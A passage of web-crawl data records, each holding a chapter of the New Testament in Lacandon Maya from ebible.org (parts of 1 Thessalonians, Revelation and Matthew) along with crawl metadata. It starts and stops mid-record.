cha'ic u tar quir u chucob a pachex quire' tsoy tu t'ʌn C'uj to'onex.\n4 Mʌ' jariro', ti' toy yʌnenob ta wicnʌnex uch. Caj in toc araj techex: Je' u tar u chucob ic pachex quire' tij cacsex tij corex u t'ʌn C'uje'. A baywo', c'uchij tu q'uinin u chucob a pachex an ten bic a werex baje'rer.\n5 Rajen tin tuchi'tob Timoteo ta wicnʌnex. Quire' mʌ' ju c'uchur in wor in muc'tej tu jer q'uin. Ca' in wirej wa taj ta wacsex ta worex ti' u t'ʌn C'uj. Caj in sʌjtaj in beyaj quire' ta wʌc'ʌs acsex a si'pirex. Wa ta wʌc'ʌs acsex a si'pirex toc sat in beyaj.\n6 Caj ts'oc u wʌc'ʌs ur Timoteo tin wicnʌn ich a cajarex Tesalónica. Caj ya'araj Timoteo tenob, tan u qui' quibicob u t'ʌn C'uj. Caj ya'araj, tan a qui' yajquintiquex mac, rajen jach qui' in worob. Caj u ya'araj tenob Timoteo, rajra' c'aj techex tenob. Tan a qui' tucriquex a tenobo' quire' ta yajquint tenob a techexo'. Caj ya'araj tenob Timoteo bic a techexo' a jach c'atex a wiriquenobex. Baxuc a tenobo', in jach c'atob in wiriquechexob xan.\n7 Cax ya'ab tu jʌts'ob in pachob cax, quire' a techexo' in wet acsʌ'orirex caj a chichquintex in worob. Quire' tan a quibiquex u t'ʌn Jaj Ts'ur.\n8 Caj ts'oc in wu'yicob mʌ' ta p'ʌtex u t'ʌn C'uj, a techexo'. Quire' ta qui' c'ʌmex u t'ʌn C'uj rajen caj ca' qui'jij in worob.\n9 Mʌ' in wer bic tabar in t'ʌnicob C'uj techex. Caj in chen arob ti' C'uj: \"Bayo' C'uj ti' a mac a cʌja'anob ich u cajar Tesalónica.\" Quire' jach manan qui' in worob techex caj in t'ʌnob C'uj.\n10 Rajra' quin chich t'ʌnicob C'uj wa ju c'at C'uj ca' taquenob in wiriquechex ta cajarex soc in wiricob a wichex. Mʌ' ja wirej, in c'atob ca' taquenob in yamticob techex soc taj ca wacsiquex a worex u t'ʌn C'uj, quire' ti' toy ca' a cʌnex.\n11 A werex in bʌjobechex ba' in jach c'at ti' ic Tetex C'uj? In c'at ca' xiquenob in wirechexob. Ra' in jach c'atob ca' u yamtenob ic Tetex C'uj yejer ic Jaj Ts'urirex Jesucristo. In c'atob ca' u yamtejenob soc in tar in wirechex.\n12 Quin chich c'aticob ti' C'uj soc rajra' cu yamtiquechex C'uj soc a jach yajquintiquex a wet acsʌ'orirex. Cax tu cotor mac ca' a yajquintex an ten bic in yajquinechexob xan.\n13 Quin chich c'aticob ti' C'uj ca' chichac a worex soc mʌ' a wacsiquechex a si'pirex. A baxuco' mʌna' mac cu bin u ta'c a jo'rex ti' ic Tetex C'uj ca' bin tac Jaj Ts'ur quir u much'quinticob u bʌj yejer yet acsʌ'orirob xan.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/H13.html","date":"2022-07-03T07:47:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104215805.66\/warc\/CC-MAIN-20220703073750-20220703103750-00553.warc.gz","language":"lac","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999957084655762}","num_words":556,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.435,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nU yʌjmasir u t'ʌn C'uj a yʌn u ju'unin\n1 Caj in wʌyʌc'taj C'uj ich ca'anan, caj in pʌctaj caj in wiraj u jer yʌjmasir u t'ʌn C'uj. Raji' ts'a'b u muc' soc jach chich u muc', quire' eman u ca' caj in wiraj ich ca'anan ca' xic ich yoc'ocab. Caj in wiraj a ray yʌjmasir u t'ʌn C'uj, raji' ir u tapmʌn u bʌj yejer muyar. Caj in wiraj a ba' p'oquinmʌn tu jo'ro', ra' irej a chero'. Raji' u tan u wich xan, jach sasir ir u sasirir a q'uino', chen caj in wiraj tu cotor u yoc yejer u chac bʌq'uer yoc robob irej a c'ac'o' a cu nacʌr ca'anano'.\n2 Ti' yʌn tu tan u c'ʌb turiri' chan ju'un toc chora'an. U noj u yoco' caj u yach'ʌctaj ich yoc'or c'ac'nab. U ts'ic u yoco' caj u yach'ʌctaj ich yoc'or ru'um.\n3 Raji' wa ber caj joc' u t'ʌn, c'am caj u t'ʌnaj ir u yacan barum. Wa ber caj ts'oc u c'am t'ʌn, cu yubic mac ir u jum a cu pec, chen an ten bic siete cu peco' cu nunca'r ti' a cu peco' ti'.\n4 A teno', tabar in ts'ibtic a ba' tin wu'yaj caj tar u t'ʌn mac ich a ca'anano', raji' caj u ya'araj ten:\n―Mʌ' a wa'aric ba' ta wu'yaj ya'aric a siete a cu peco'. Mʌ' a ts'ibej ―quij, baxuc caj u ya'araj teno', quij.\n5 A ray yʌjmasir u t'ʌn C'uj a tin wʌyʌc'taj, a yʌn turiri' u yoc ich yoc'or ru'um yejer u jer u yoc ich yoc'or a cac'nabo', caj in wiraj u ric'sic u c'ʌb a nojo' ich ca'anan.\n6 Raji' caj u chich araj soc C'uj cu yiric, quire' a C'ujo' munt q'uin ti' yʌni', raji' caj u betaj tu cotor ba' a ti' yʌn ich yoc'ocab uch, cax a ba' ti' yʌn ich ca'anan, cax a ba' ti' yʌn ich c'ac'nab. Raji' caj u ya'araj:\n―Jeroj tabar u yutsta'r u mascabir quir u yutsta'r. Raji' cu bin ustic, a siete yʌjmasir u t'ʌn C'uj.\n7 Mʌ' ja wirej ―quij yʌjmasir u t'ʌn C'uj―, ca' bin yutstac u mascabir quir u yutsta'r ten a siete yʌjmasir u t'ʌn C'uj, jeroj c'uchij tu q'uinin a C'ujo' bin u ca' u betic a ba' tu mucu tucraj uch quir u betic. Jari' a mac ts'a'b u tucur ten C'uj uch quir u tsicbar a ba' u c'at C'uj uch robob yerob quire' cu beyajob ti' C'uj. Robob yerob a ba' cu bin u betic C'uj quire' ts'a'b u tucur soc yerob a ba' cu bin tar cax mʌ' toy c'uchuc tu q'uinin.\n8 A teno', quij Juan, a mac a tu t'ʌnen ca'ch ich ca'anan caj u wʌc'ʌs araj ten, tan ya'aric:\n―Xen, Juan, ich yʌjmasir u t'ʌn C'uj, a rayo', a yʌn u yoc ich yoc'or ru'um, yejer u jer u yoc ich yoc'or c'ac'nab. A ray chan ju'uno', a ti' yʌn tu tan u c'ʌb, toc ch'a'ej a techi', a ti' yʌn chora'an tu c'ʌb.\n9 Rajen caj binen ich yʌjmasir u t'ʌn C'uj tun, caj in wa'araj ti' ca' u chan chuquej ten u ju'unin a ti' yʌn tu c'ʌb a chan chora'ano'. Raji' caj u ya'araj ten:\n―Ch'a'ej techi', toc jantej. Wa ber ca' bin ts'ocac a jantique', ca bin a wu'yej ta nʌc' c'aj, chen ta chi' ca bin a wu'yej ch'ujuc irej wa ta tumtaj cab ―baxuc tu ya'araj yʌjmasir u t'ʌn C'uj.\n10 Caj in ch'aj u ju'unin a ti' yʌn tu c'ʌb a yʌjmasir u t'ʌn C'uj, caj in jantaj. Ch'ujuc caj in wu'yaj tin chi' irej wa tin tumtaj cab. Chen caj ts'oc in rʌc jantic, c'aj caj in wu'yaj tin nʌc'.\n11 Jeroj caj ts'oc in jantic u ju'unin, caj ya'araj ten yʌjmasir u t'ʌn C'uj ten:\n―Ca' xiquech a tsec't u t'ʌn C'uj ich ʌcʌtan ya'ab mac tu cʌja'anob, cax ya'ab u ru'umin tu cʌja'anob. Bayiri', ca' a tsec't u t'ʌn C'uj ich ʌcʌtan reyes, bayiri' xan, ca' a tsec't u t'ʌn C'uj tu cu tsicbar mac ich u jer u t'ʌnob ―baxuc tu ya'araj yʌjmasir u t'ʌn C'uj ti' ten.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV10.html","date":"2022-07-05T22:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104628307.87\/warc\/CC-MAIN-20220705205356-20220705235356-00572.warc.gz","language":"lac","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000051259994507}","num_words":675,"character_repetition_ratio":0.106,"word_repetition_ratio":0.009,"special_characters_ratio":0.316,"stopwords_ratio":0.521,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"16\nU winiquirob judío a fariseojo' caj c'ata'b ti' Jesús wa carem beyaj. Caj u c'atajob u winiquirob judío a saduceobo' xan\n(Mr. 8.11‑13; Lc. 12.54‑56)\n1 U winiquirob judío a fariseojo' yejer u winiquirob judío a saduceobo', caj binob irbir Jesús quir yubicob u t'ʌn Jesús. Soc c'ucha'an yorob u chucur Jesús. Rajen caj u tus c'atajob ti' u carem beyaj a cu tar ich C'uj.\n2 Jesús caj u nuncaj ti'ob:\n―A techexo', ca wa'ariquex: \"Mʌ' ju tar ya'arir oq'uin quire' chʌc u muyarir.\"\n3 A techexo', ca wa'ariquex cu sastar je' u tar ya'arir a mʌ' ac'bir u muyarir yejer chʌc. A techexo', jach c'asechex. Ca wa'ariquex c'ucha'an a worex a wa'ariquex mʌ' ju tar ya'arir. A techexo', c'ucha'an a worex a wa'ariquex: Je' u tar ya'arire'. Chen aro' c'ucha'an a worex a najtiquex ti'. Chen mʌ' ju c'uchur a worex a najtex u carem beyaj a beta'b ten C'uj tu q'uinin baje'rer.\n4 Caj ya'araj Jesús ti'ob u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceobo':\n―Techex a mac a cuxa'an tu q'uinin baje'rer ca c'atiquex carem beyaj quire' jach c'asechex. Quire' mʌ' taj caj a c'ujintex C'uj. Chen ca binex a wirex in riq'uir mʌna' u nup u q'uinin. Iren Jonás caj wʌc'ʌs xeja Jonás ten cʌy quire' C'uj. Ra' u carem beyaj bin a ca' a wirex.\nCaj bin Jesús nach, caj p'at u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceobo'.\nQui' cʌnantex a ba' cu camsicob u winiquirob judío a fariseojo'\n(Mr. 8.14‑21)\n5 Caj bin u camsʌwinicob Jesús pʌchi c'ac'nab. Caj tubi ti'ob u ch'icob yo'och pan u jantejob.\n6 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Qui' cʌnantex a bʌj ti' a ba' ca cʌniquex ti' u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceobo'. Quire' ba' cu beticob irej u ts'ac pan cu sip.\n7 Quire' cu tsicbarob u camsʌwinicob ich u rac'ob:\n―Rajen ―quij ya'aric to'on ij cʌjcamsʌyʌjir― quire' caj u yiraj mʌ' ic ch'a'ic ij co'och pan.\n8 Jesús caj yubaj a ba' cu muc u aricob u camsʌwinicob. Caj ya'araj:\n―Biquinin ca wa'ariquex: \"Mʌna' a wochex pan.\" Chichin a wacsamʌnex ta worex. Quire' Jesús yer caj u tucrajob mʌ' tu ch'ajob yo'och pan. Chen tar p'ato'.\n9 Caj ya'araj Jesús:\n―Mʌ' wa ta najtajex? Mʌ' wa c'aj techex? Yʌn to'on cinco pan ca'ch caj in rʌc jʌsaj ti' cinco mil xib. Mʌ' wa c'aj techex mun xac cax chup a ta marex? Mʌ' ja wirej, u carem beyaj caj a wirajex?\n10 Mʌ' wa c'aj techex a yʌn siete pan caj in rʌc jʌsaj ti' cuatro mil xib. Mʌ' wa c'aj techex mun xac caj ic rʌc maraj. Mʌ' ja wirej, u carem beyaj caj a wirajex?\n11 Caj ya'araj Jesús ti' u camsʌwinicob:\n―Biquinin mʌ' a qui' najtajex? Mʌ' raji' quin wac techex a wo'ochex pan. Caj in wa'araj techex, qui' cʌnantex a bʌj ti' a ts'ac a cu sip yo'och pan u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceojo'.\n12 Caj u najtajob u camsʌwinic Jesús: \"A ba' caj u ya'araj Jesús, mʌ' raji' cu yac to'on. Tu camsa to'on an ten bic cu sip yo'och pan, a ba' cu camsico'on u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceojo'. Qui' cʌnantex a bʌj ti' a ba' cu camsiquech u winiquirob judío a fariseojo' yejer u winiquirob judío a saduceojo'.\"\nA techo', Cristojech a quic pajic u tar ich C'uj\n(Mr. 8.27‑30; Lc. 9.18‑21)\n13 Caj c'uchij Jesús bʌytʌc ich u cajar Cesarea de Filipo. Caj u c'ataj ti' u camsʌwinicob:\n―Mac cu ya'ariquenob ―quij Jesús― a pimo' u pararen C'uj quire' taren in yamtic mac tu cotor?\n14 Caj ya'arajob:\n―Mʌ' ya'ab tij cu'yaj u juminticob caj u pʌchechob: \"Juanech, a cu yacsic ja' tu jo'r mac.\" U jer caj ya'arob: \"Elíasech.\" Ti' yʌn xan cu ya'aric: \"Jeremíasech.\" U jer cu ya'aric: \"U jerech yʌjtseq'uirech u t'ʌn C'uj.\"\n15 Caj ya'araj Jesús ti'ob:\n―A techexo', a mac ca wa'ariquex ten?\n16 Caj ya'araj Simón Pedro ti' Jesús:\n―A techo', Cristojech, a mac tuchi'ta'b ten C'uj. U pararech C'uj. A C'ujo' cuxa'an.\n17 Jesús caj u nuncaj ti':\n―Qui'quintej a wor Simón, ra' a tet Jonás. C'uj caj u ts'aj a najtej wa Cristojen. Mʌna' mac caj u ts'aj a najtej tech. Chen ic Tet a ti' yʌn ca'anan raji' caj u ts'aj a najtej.\n18 A teno' quin wa'aric tech Pedrojech. U c'at ya'aric a c'aba' Tunichech. Quire' mʌ' u c'ax a tucur toc taj ca tucric jach Cristojen. Mʌ' ju c'uchur u yor ten quisin u taquiquech ti' ten quire' ca jach c'ujintiquen Cristo.\n19 Caj ya'araj Jesús ti' Pedro:\n―A teno' quin wacsiquech u ts'urirech a rac'ob quire' in muc' cu bin ts'abir tech. A ba' cu beticob a rac'ob wa tsoy ta t'ʌn tech, bayiri' tsoy tu t'ʌn C'uj. Wa mʌ' tsoy cu beticob a rac'ob quire' mʌ' tsoy ta t'ʌn, tech bayiri' ti' C'uj xan.\n20 Caj u chich araj Jesús ti' u camsʌwinicob:\n―Mʌ' a yʌn bin a wa'arex wa Cristojen.\nJesús cu ya'aric bin u ca' quimin\n(Mr. 8.31―9.1; Lc. 9.22‑27)\n21 Ra' u q'uinin Jesús caj u yʌnxchun u camsic u camsʌwinicob. Ti' cu bin u muc'yaj Jesús ich u cajar Jerusalén quire' u jach ts'urirob sacerdote. Bayiri' xan ti' yʌjcamsʌyʌjirob u t'ʌn Moisés. Bayiri' ti' u jach ts'urir u cajarob u winiquirob judío. Bin u ca' quinsbir Jesús ich u cajar Jerusalén. Ya'araj ca' bin riq'uir tu quimirir: \"Ca' bin manac mʌna' u nup u q'uinin quin ca' riq'uir\" ―quij Jesús.\n22 Pedro caj mach u c'ʌb Jesús caj bin Pedro yejer Jesús tu junan quir u tsicbar. Caj ya'araj Pedro:\n―In c'at C'uj ca' u yamtech Jaj Ts'ur soc mʌ' a muc'yaj soc mʌ' a quinsa'.\n23 Chen Jesús caj p'us u pach ti' Pedro. Mʌ' ju c'at yubic Jesús ya'aric Pedro: \"Mʌ' a yʌn quinsa'r.\" Caj ya'araj Jesús:\n―Joq'uen Pedro, irech quisin Satanás ―quij Jesús―. Mʌ' a p'usic in wor ―quij Jesús―. Mʌ' quet a wor yejer C'uj, quet a wor yejer xib Pedro.\n24 Caj ya'araj Jesús ti' u camsʌwinicob:\n―An ten bic ten ca' bin muc'yajnʌquen ich cruz. Baxuc techex, ca' bin mucyajnʌquechex quire' caj a c'amex in t'ʌn, cax ca bin a quimechex ich cruz. Baxuc xan, ca' a p'ʌtiquex a ba' ca pachtiquex ta worex wa ja c'atex a cʌniquex in t'ʌn ―quij Jesús―.\n25 Quire' a mac mʌ' u c'at u taquic u cuxtar ti' u rac'ob tu cu chucur u pach ten u rac'ob, quire' caj u yacsaj tu yor ti' in t'ʌn. Chen ra' cu bin taquic u pixam. Chen a mac u c'at u taquic u cuxtar ti' u rac'ob tu cu chucur u pach ten u rac'ob. Je' u satʌr u pixame', quire' mʌ' ju c'at u c'ʌmic in t'ʌn quir u cuxtar munt q'uin ich ca'anan.\n26 Cax chen toc rʌc yʌn a ba' yʌn te' ich yoc'ocab. Chen u pixam je' u satʌre'. Rajen mʌ' ba'wir ti' u ba'tʌc ich yoc'ocab. Mʌ' biq'uin c'ucha'an yor u bo'otej u pixam.\n27 Jesús caj ya'araj ti' u camsʌwinicob:\n―Ca' bin taquen yejerob yʌjmasirob u t'ʌn C'uj. Yejer u sasir C'uj ca' bin taquen. Jujuntur quin bin in bo'otej, a tu jach c'ʌmajob in t'ʌn an ten bic caj man tu tsoyir C'uj. Quire' taren in yamtic mac tu cotor.\n28 Caj ya'araj Jesús:\n―Taj quin wa'aric techex. Yʌn mac mʌ' ya'ab tera' mʌ' ju quimin hasta yiric in tar ich yoc'ocab quir a reyintiquex C'uj.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT16.html","date":"2022-06-26T16:47:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103271763.15\/warc\/CC-MAIN-20220626161834-20220626191834-00179.warc.gz","language":"lac","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999986886978149}","num_words":1215,"character_repetition_ratio":0.109,"word_repetition_ratio":0.025,"special_characters_ratio":0.291,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"7\nU tetmʌn u winiquirob israel a cu tar ti' u doce yo'nenob u nunquirob\n1 Caj ts'oc in wʌyʌc'tic aro', a ba' u ber a tʌmʌn yuco', a caj u rʌcaj a ba' nich'a'an tu ju'unin a cats'a'ano', quire' ts'oc u rʌquic a seiso', a nich'a'an tu ju'unin, soc in wer a ba' u ber ca' bin c'uchuc tu q'uinin. Jeroj tune', caj in wʌyʌc't u jer, caj in pʌctaj caj in wiraj u yʌjmasirob u t'ʌn C'uj. Cuatro caj in wiraj, ti' yʌn turiri' yʌjmasir u t'ʌn C'uj ich xʌman ca'an, ti' yʌn u jer turiri' yʌjmasir u t'ʌn C'uj ich nojar, ti' yʌn u jer yʌjmasir u t'ʌn C'uj tu cu tar a q'uino', ti' yʌn u jer turiri' yʌjmasir u t'ʌn C'uj tu cu bin q'uin. Robob ch'iquicbarob caj in wiraj yʌjmasirob u t'ʌn C'uj mʌ' ju cha' u tar ic' ich yoc'ocab, cax tu ru'umin, cax ich c'ac'nab, cax tu yʌn che'o' xan.\n2 Tin wir u jer yʌjmasir u t'ʌn C'uj, raji' caj u nac tu cu tar a q'uino'. Raji' u mʌchmʌn a ba' ts'a'b ti' ten C'uj, a cuxa'ano' quir u c'ʌnic. Ra' quir u ts'ibtic tu pam mac soc raji' yer C'uj yʌnin. Raji' caj u pur u t'ʌn ti' yet yʌjmasirob u t'ʌn C'uj, a cuatrojo'. Jach c'am caj ara'b ti'ob a mac ts'a'b u muc' quir u cʌrʌxbetic a ru'umo' yejer a c'ac'nabo', ra' a cuatrojo'. Raji' caj u ya'araj:\n3 ―Mʌ' a cha'iquex u tar a ic'o', ich ru'umo' yejer a c'ac'nabo' yejer a che'o'. Mʌ' ja wirej, ca' bat'an manʌco'onex ic ts'ibtex ba' tu pam mac a cu beyajob ti' C'uj. Cu ts'ocar aro, jeroj tsoy a cha'iquex. Baxuc caj ya'araj yʌjmasirob u t'ʌn C'uj ti' u yet yʌjmasirob u t'ʌn C'uj.\n4 A teno', caj in wu'yaj ya'ara' mun ya'abir u winiquirob israel caj ts'ibta'b tu pam ten u yʌjmasirob u t'ʌn C'uj. Caj ya'arob, yʌn ciento cuarenta mil yejer u jer cuatro mil ich u winiquirob israel. Robob tarob ich tu cotor u yo'nen u winiquirob israel.\n5 Caj ts'ibta'b tu pam ten yʌjmasirob u t'ʌn C'uj, a cu tar a yʌn yo'nen Judá, ti' yʌn doce mil. U jer doce mil caj tarob ich a yʌn yo'nen Rubén. U jer doce mil caj tarob ich a yʌn yo'nen Gad.\n6 Caj ts'ibta'b tu pam ten yʌjmasirob u t'ʌn C'uj a cu tarob, ich a yʌn yo'nen Aser, yʌn doce mil. Bayiri' xan, u jer doce mil caj tarob ich a yʌn yo'nen Neftalí. U jer doce mil caj tarob ich a yʌn yo'nen Manasés.\n7 U jer caj tarob ich a yʌn yo'nen Simeón. U jer doce mil caj tarob ich a yʌn yo'nen Leví. U jer doce mil caj tarob ich a yʌn yo'nen Isacar.\n8 U jer doce mil caj tarob ich a yʌn yo'nen Zabulón. U jer caj tarob ich a yʌn yo'nen José. U jer doce mil caj tarob ich a yʌn yo'nen Benjamín.\nRaji' jach pim a mac u buquimʌnob sʌc noc'\n9 Caj ts'oc in wʌyʌc'tic a ba' u ber ti'obo', caj in wʌc'ʌs iraj u jer. Caj in wiraj jach pim winiquirob. Mʌna' mac c'ucha'an yor u xaquej yirej mun ya'abir ti' yʌni'. Caj tarob u much'quinticob u bʌj ti' tu cotor u ru'umin tu cʌja'anobi'. Bayiri' a tu cotor yʌn yo'nenobo', bayiri' tu cotor a mac yer t'ʌn. Robob caj u toc buquintob sʌc noc', bayiri' xan, u rʌc mʌchmʌnob tu c'ʌb u re' xa'an. Caj u rʌc much'quintob u bʌj ʌcʌtan ti' u cutan, a caremo', a tin bat'an iraj uch, bayiri' xan, ti' tu much'quintob u bʌj ich ʌcʌtan a ju tʌmʌn yuc C'ujo'.\n10 A pimo', caj u c'amquintob u t'ʌnob, tan ya'aricob:\nA techo' caj a taquenob ti' in si'pirob, bayiri' xan, caj a taquenob uch ti' a mac a tu chucob in pachob uch. Ca' ic sʌjtechex C'uj a curucbarech ich a cutano', a jach caremo', bayiri' xan, tech u tʌmʌn yuquech C'uj. Baxuc caj yarob a jach pimo'.\n11 Jeroj tune', caj in wʌyʌc't u yʌjmasirob u t'ʌn C'uj, caj rʌc ch'icrajob ich ʌcʌtan a cutano', a jach caremo' tan u rʌc bʌcristicob xan. Bayiri' xan, a veinticuatro xibo', a nuxibo', yejer a ba' irej bʌc' a cuxa'ano', a cuatrojo'. Robob caj xonrajob ʌcʌtan u cutan, a jach caremo' caj u c'ujintob C'uj.\n12 Caj ya'arob tu tu c'ujinticob C'uj:\nRa' jach taj a ba' cu c'ʌyob tech C'uj yejer a tʌmʌn yuco'. Ca' u sʌjtechob C'uj yejerech a tʌmʌn yuco' ca' u yajquintechob. Jach manan ca' u qui' t'ʌnechob an bic jach caremech. Jach manan a ne'er. Ca' u ya'arechob: \"Bayo'.\" Ca' u sʌjtechob quire' jach manan a muc'. Mʌ' ja wirej, jach manan chichir a muc', quire' c'ucha'an a muc' tu cotor ba' munt q'uin. Jeroj ts'oquij.\n13 Turiri' tune', ich a veinticuatro xibo', a nuxibo', caj u t'ʌnen, tan ya'aric:\n―Mac a ca wirique' ich a pimo' a ju buquimʌnob sʌc noc'. Tub u tarob?\n14 A Juano' caj u nuncaj ti' tun:\n―A techo', in ts'urirech a wer ix ti'.\nRaji', a xibo' a nuxibo' caj u ya'araj ten:\n―A ray winic ca wirico' ―quij―, robob ca' bin joc'ac tu yajirir a cu bin tar tu q'uinin ich yoc'ocab tu cu muc'yajob, chen ts'oquij baje'rer. Robob u noc'ob, a ju buquimʌnob caj ts'ab u noc'obo' caj ruc'sa'b u si'pirob ten u q'uiq'uer tʌmʌn yuc. Rajen sʌc u noc'ob quire' caj u yacsob tu yorob ti' Cristo.\n15 Rajen ca' bin ch'icracob ʌcʌtan tu cura'an C'uj ich u cutan, a jach caremo', soc rajra' u c'anʌnob ten C'uj ti' a ba' u c'at, an ten bic a sacerdotejo'. Raji' tan u qui' acsa'ob tu yʌno' soc u cʌnanta'ob.\n16 A ba' u c'atobo' bin u ca' ts'abʌr ti'ob, rajen mʌ' ju bin wichʌjʌrob, mʌ' ju bin uc'chʌjʌrob, mʌ' ju bin yubob chʌcʌw q'uin, mʌ' ju bin q'uic'ab xan.\n17 Quire' a tʌmʌn yuco', ra' cu bin u cʌnantic irej a mac a cu cʌnantic u yʌrʌc' tʌmʌn yuc quir u ts'ic ti'ob u yo'och ja', a cu tar ich yic' ja' munt q'uin. Quire' a C'ujo' bin u ca' u chur u wich a mac a cu yoc'ar tu yʌnob a ti'obo'.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV7.html","date":"2022-07-07T10:10:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104690785.95\/warc\/CC-MAIN-20220707093848-20220707123848-00000.warc.gz","language":"lac","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000001311302185}","num_words":1017,"character_repetition_ratio":0.106,"word_repetition_ratio":0.012,"special_characters_ratio":0.299,"stopwords_ratio":0.494,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"3\nJuan caj u tsec'taj ich tʌcay ru'um. Ti' caj u yacsaj ja' tu jo'r mac\n(Mr. 1.1‑8; Lc. 3.1‑9, 15‑17; Jn. 1.19‑28)\n1 Ti' toy cʌja'an Jesús ich u cajar Nazaret, caj tarij Juan ich u ru'umin Judea. Caj u tsec'taj ich tʌcay ru'um. Caj u yacsaj ja' tu jo'rob macob.\n2 Caj u tsec'taj Juan caj ya'araj:\n―C'axex a worex ca' a p'ʌtex a c'aso' quire' c'uchij tu q'uinin u reyinticob C'uj ―baxuc caj u ya'araj Juan.\n3 A je' Juana', quij Mateo, ts'ibta'b uch ten yʌjtseq'uir u t'ʌn C'uj Isaías. Caj ya'araj Isaías ti' Juan uch cax mʌ' tac Juan:\nQuij cu'wic u t'ʌn, quij Isaías. Quij cu'wic u t'ʌn mac cu tsec'tic ich tʌcay ru'um. Aro' a cu tsec'tic quij cu'wic u ya'aric: \"Tajquintex a worex soc c'ucha'an a worex a qui' acsiquex Jaj Ts'ur, irex ca jariquex u ber soc u tar rey.\"\nBaxuc caj u ts'ibtaj Isaías ti' Juan uch. Rajen a baje'rer nup' u t'ʌn C'uj.\n4 A Juano' u tsotser yʌrʌc' camello cu sacta' u buquintej. U c'ax u nʌc' Juano', ot'. C'axicab cu mʌq'uic Juan, yejer sac' cu chi'ic Juan.\n5 Pim mac cu bin ich Juan quir yubicob u tsec'ta' ten Juan. Tar u tarob ich u cajar Jerusalén. Tar u tarob ich u ru'umin Judea. Jach pim binob ich Juan a cu tarob ich u ru'umin Judea.\n6 A mac a caj u ya'araj ti' C'uj, yʌn u si'pir. A caj u ya'araj yʌn u si'pir jawsa'b u si'pir ten C'uj. Rajen acsa'b ja' tu jo'rob ten Juan ich ya'arir Jordán.\n7 Caj yiraj Juan caj tarob u winiquirob judío a fariseojo'. Yet tarob judío a u winiquirob saduceojo'. Quire' u winiquirob judío a fariseojo' cu qui' cʌnanticob u t'ʌn u nunquirob Moisés. Barej u winiquirob judío a saduceojo' cu ya'aricob:\n―Mʌna' mac cu riq'uir ti' quimen.\nPim caj yiraj u tarob Juan, a saduceojo' yejer a fariseojo'. Caj tarob a saduceojo' yejer a fariseojo' quir yacsa' ja' tu jo'rob ten Juan. Caj irir caj ara'b ti'ob ten Juan:\n―A techexo' ―quij Juan―, jach c'asechex. U pararechex quisin. A mac arej a puts'urex quire' tabar u tar xur t'ʌn. A c'at wa ja taquiquex a bʌj?\n8 Juan caj u ya'araj ti'ob:\n―Toc p'ʌtex a c'asirex tu ca mʌnex, soc a mʌnex tu tsoyir, soc chʌca'an yiricob a rac'ob caj a jach c'axex a worex.\n9 Juan caj u ya'araj ti' a saduceojo' yejer a fariseojo':\n―Mʌ' a yʌn tucriquex a wa'ariquex ta worex. Mʌ' chichin ca wa'ariquex: \"U ch'ic pararenob Abraham. Mʌ' ja wirej, ra' in nunquirob'.\" Mʌ' ja tucriquex wa ju taquiquechex C'uj quire' u ch'ic pararechex a nunquirex Abraham.\nCaj ara'b ti'ob ten Juan:\n―U'yex ba' quin wac techex. A C'ujo' c'ucha'an yor u waysic a je' tunicha' soc raji'ob u ch'ic pararob a nunquirex Abraham soc u cʌnicob a nunquirex Abraham.\n10 Juan caj u ya'araj ti' a fariseojo' yejer a saduceojo':\n―Baje'rer an ten bic c'uchij tu q'uinin u ch'ʌcar che' a c'aso' a mʌna' u wiche'. Ti' cu bin purbir ca' tocac ich c'ac'. Baxuc xan, a mac a mʌ' u betej a ba' tsoyir, ra' cu bin u'wibir u ts'ictar ten C'uj.\n11 Caj ya'araj Juan:\n―A teno' jach jaj quin wacsic ja' tu jo'r mac a caj u p'ʌtaj a c'aso' quire' caj u c'axaj tu yor. Ca' bin tac Cristo. Tabar u tar Cristo. Raji' Cristo cu bin u ts'ic techex u Taj'or u Pixam C'uj soc a wet manex u Taj'or u Pixam C'uj soc u rʌc ruc'sic tu cotor a c'asirex. Ca' bin tac a Cristoji' jach no'oj. A teno' ―quij Juan―, mʌ' no'ojeni'. Mʌ' ja wirej, a teno' mʌ' jach pajareni' in pitic u c'anin u pech' xʌnʌb, cax u c'urewen a teno'.\n12 Caj ya'araj Juan:\n―Ca' bin taco' a Cristojo', je' u jʌsic techex irej techex ca ruc'siquechex u sor a wochex trigo. Chen a tsoyo', ra' cu p'atʌr a wochex trigo. Ca puriquex u sor a to'quiquex. Baxuc ca' bin xuruc t'ʌn, ca' bin u much'quintico'on ic Tetex C'uj. A c'aso', ra' cu bin purbir ich c'ac' tu mʌ' u tupur c'ac'. Chen 